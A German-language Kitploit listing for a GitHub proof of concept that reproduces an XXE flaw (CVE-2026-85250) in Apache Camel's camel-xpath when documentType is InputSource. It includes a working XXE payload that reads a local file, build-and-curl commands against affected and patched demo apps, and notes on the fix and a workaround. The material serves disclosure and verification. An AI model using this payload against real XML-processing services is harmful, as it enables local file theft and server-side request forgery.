Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-85250 — Lauffähiger XXE-Proof-of-Concept für CVE-2026-85250 in Apache Camel camel-xpath (documentType=InputSource), mit betroffenen und behobenen Spring-Boot- und Quarkus-Demos. | Kitploit
Tools/GitHubGitHub/oscerd/cve-2026-85250
SchwachstellenanalyseExploitationWebanwendungs-ExploitationLernen & Bildung
GitHuboscerd/cve-2026-85250

CVE-2026-85250

Lauffähiger XXE-Proof-of-Concept für CVE-2026-85250 in Apache Camel camel-xpath (documentType=InputSource), mit betroffenen und behobenen Spring-Boot- und Quarkus-Demos.

Repository anzeigen
4vor 2 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-85250 — camel-xpath: Verarbeitung externer XML-Entities (documentType=InputSource)

Lauffähiger Proof-of-Concept-Reproduzierer für die Apache-Camel-Schwachstelle, bei der mit documentType auf InputSource gesetzt XPathBuilder die Payload direkt an javax.xml.xpath übergab, das einen eigenen DocumentBuilder mit den JDK-Standardeinstellungen erstellt. Die auf Camels Standard-Dokumenttyp angewandte Härtung wurde dadurch umgangen: Eine DOCTYPE-Deklaration, die beim Standardtyp abgelehnt wird, wurde hier akzeptiert, und die darin deklarierte externe Entity wurde aufgelöst und in das ausgewertete Dokument expandiert. Ein externer Absender, dessen XML einen solchen Ausdruck erreicht, könnte Dateien lesen, die für den Camel-Prozess lesbar sind, und den Prozess dazu bringen, Anfragen an von ihm benannte Hosts zu senden.

LaufzeitumgebungVerzeichnisStack
Camel Spring Bootcamel-spring-boot/Spring Boot 3.5.13 + camel-xpath 4.22.0 (betroffen; behoben in 4.22.1)
Camel Quarkuscamel-quarkus/Quarkus 3.29.0 + camel-quarkus-xpath (Camel 4.15.0, betroffen; behobene Kontrolle CQ 3.40.0 / Camel 4.22.1)

Beide Module demonstrieren das betroffene und das behobene Verhalten.

Was es demonstriert

Eine harmlose „Secret“-Datei wird auf der Festplatte abgelegt (cve-2026-85250-secret.txt, die eine Marker-Zeichenkette enthält) und steht stellvertretend für eine lokale Datei, die für den Camel-Prozess lesbar ist. Der Angreifer sendet XML — als InputStream, was in einen InputSource umgewandelt wird — mit einer DOCTYPE-Deklaration, deren externe Entity auf diese Datei verweist:

<!DOCTYPE foo [ <!ELEMENT test ANY > <!ENTITY xxe SYSTEM "file:///…/cve-2026-85250-secret.txt" >]>
<test>&xxe;</test>

Die Route wertet xpath("/test/text()").documentType(InputSource.class) über dem Body aus.

  • Betroffen: Der InputSource-Parser (JDK-Standardeinstellungen) löst die externe Entität auf, sodass das XPath-Ergebnis der Inhalt der Datei ist — der Marker wird exfiltriert.
  • Behoben: Die DOCTYPE-Deklaration wird vom gehärteten Parser abgelehnt (demselben, den der Standard-Dokumenttyp verwendet), sodass die Auswertung fehlschlägt, bevor eine Entität aufgelöst wird.
# Camel Spring Boot
cd camel-spring-boot
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack     # affected: file contents leak into the result; >>> PROVEN
docker compose down
# Patched control
mvn clean package -Dcamel.version=4.22.1
java -jar target/cve-2026-85250-xpath-xxe-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack     # fixed: DOCTYPE refused; >>> Not exploited
# Camel Quarkus
cd camel-quarkus
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack     # affected (Camel 4.15.0): file contents leak
docker compose down
# Patched control: CQ 3.40.0 ships Camel 4.22.1
mvn clean package -Dcamel-quarkus.version=3.40.0 -Dquarkus.platform.version=3.40.0
java -jar target/quarkus-app/quarkus-run.jar &
curl -s http://localhost:8080/exploit/attack     # fixed: DOCTYPE refused

Zusammenfassung der Schwachstelle

EigenschaftWert
Komponentecamel-xpath (XPathBuilder, documentType=InputSource)
CWECWE-611 (Improper Restriction of XML External Entity Reference)
SchweregradHOCH
AngriffsvektorNicht vertrauenswürdiges XML, das durch einen XPath-Ausdruck ausgewertet wird, der mit documentType=InputSource konfiguriert ist
AuswirkungXXE: Offenlegung lokaler Dateien und Server-Side Request Forgery über externe Entities
Betroffene VersionenAb 4.0.0 vor 4.18.5, ab 4.19.0 vor 4.22.1
Behobene Versionen4.18.5, 4.22.1, 4.23.0
JIRACAMEL-24475
DanksagungClaude Security Scan Tool

Advisory: https://camel.apache.org/security/CVE-2026-85250.html

Die Korrektur

XPathBuilder leitet nun eine InputSource (und SAXSource) durch toHardenedDocument(), wodurch sie mithilfe derselben gehärteten DocumentBuilderFactory, die der Standard-Dokumenttyp bereits verwendet, in ein org.w3c.dom.Document umgewandelt wird, bevor sie an die XPath-Engine übergeben wird — sodass beide Dokumenttypen mit derselben Konfiguration geparst werden und ein DOCTYPE abgelehnt wird. Beachten Sie, dass der Typ InputSource nun auch denselben dokumentierten Ausweg des Standardtyps teilt: Dieselben Systemeigenschaften der DocumentBuilderFactory, die den Standardtyp lockern, lockern auch diesen.

Abhilfe, wenn Sie nicht aktualisieren können

Verwenden Sie documentType=InputSource nicht für Ausdrücke, die über nicht vertrauenswürdigem XML ausgewertet werden; der Standard-Dokumenttyp lehnt bereits ein DOCTYPE ab.

Haftungsausschluss

Dieses Repository wird zu Bildungs- und Verteidigungszwecken veröffentlicht: um Apache Camel-Benutzern zu helfen, die Schwachstelle zu verstehen, zu überprüfen, ob sie betroffen sind, und zu bestätigen, dass ein Upgrade sie behebt. Die „secret“-Datei ist ein inerter, eingepflanzter Marker. Verwenden Sie dieses Material nicht gegen Systeme, die Ihnen nicht gehören oder die Sie nicht betreiben.

Tool herunterladen